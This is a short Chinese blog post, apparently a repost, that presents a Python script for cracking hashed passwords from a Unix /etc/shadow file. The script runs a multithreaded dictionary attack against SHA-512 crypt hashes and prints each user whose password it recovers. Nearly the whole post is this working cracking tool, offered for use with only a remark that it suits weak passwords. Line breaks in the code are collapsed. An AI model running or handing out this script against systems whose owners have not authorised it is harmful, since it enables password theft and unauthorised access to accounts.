利用Python 破解类unix系统 /etc/shadow 文件hashed password

来源:互联网 发布:maxwell软件 百科 编辑:程序博客网 时间:2024/06/03 11:16

一个比较实用的脚本吧.
破解一些弱口令还行
其他的只能去md5相关网站交钱破解喽

还是要自备字典 和 待破解文件
password文件一定是从/etc/shadow 获取的哦

#!/usr/bin/env python# coding=utf-8#By LiT0import cryptimport sysfrom concurrent.futures import ThreadPoolExecutordef testpasswd(user,crypt_pass,word):    salt = crypt_pass.split('$')[2]    insalt = '${}${}$'.format('6',salt)    word = word.strip('\n')    crypt_word = crypt.crypt(word,insalt)    if crypt_pass == crypt_word:        print ("[*] Successful Cracked user : {} ".format(user))        print ("[+] Found Password: {}\n".format(word))        returndef readpasswd():    with open(sys.argv[1],'r') as passwd_file:        for line in passwd_file:            if ":" in line:                user = line.split(':')[0]                crypt_pass = line.split(':')[1].strip(' ')                if len(crypt_pass) > 16:                    with ThreadPoolExecutor(2) as Executor:                        with open(sys.argv[2],'r') as dict_file:                            for word in dict_file:                                Executor.submit(testpasswd,user,crypt_pass,word)    print ('[*] All Done!')if __name__ == '__main__':    if len(sys.argv) < 3:        print ("Usage:\n\t请准备好阴影文件和爆破字典\n\t如: ./nix_passwd.py password.txt dict.txt ")        sys.exit(0)    print ('[*] Runing... ...')    readpasswd()
0 0
原创粉丝点击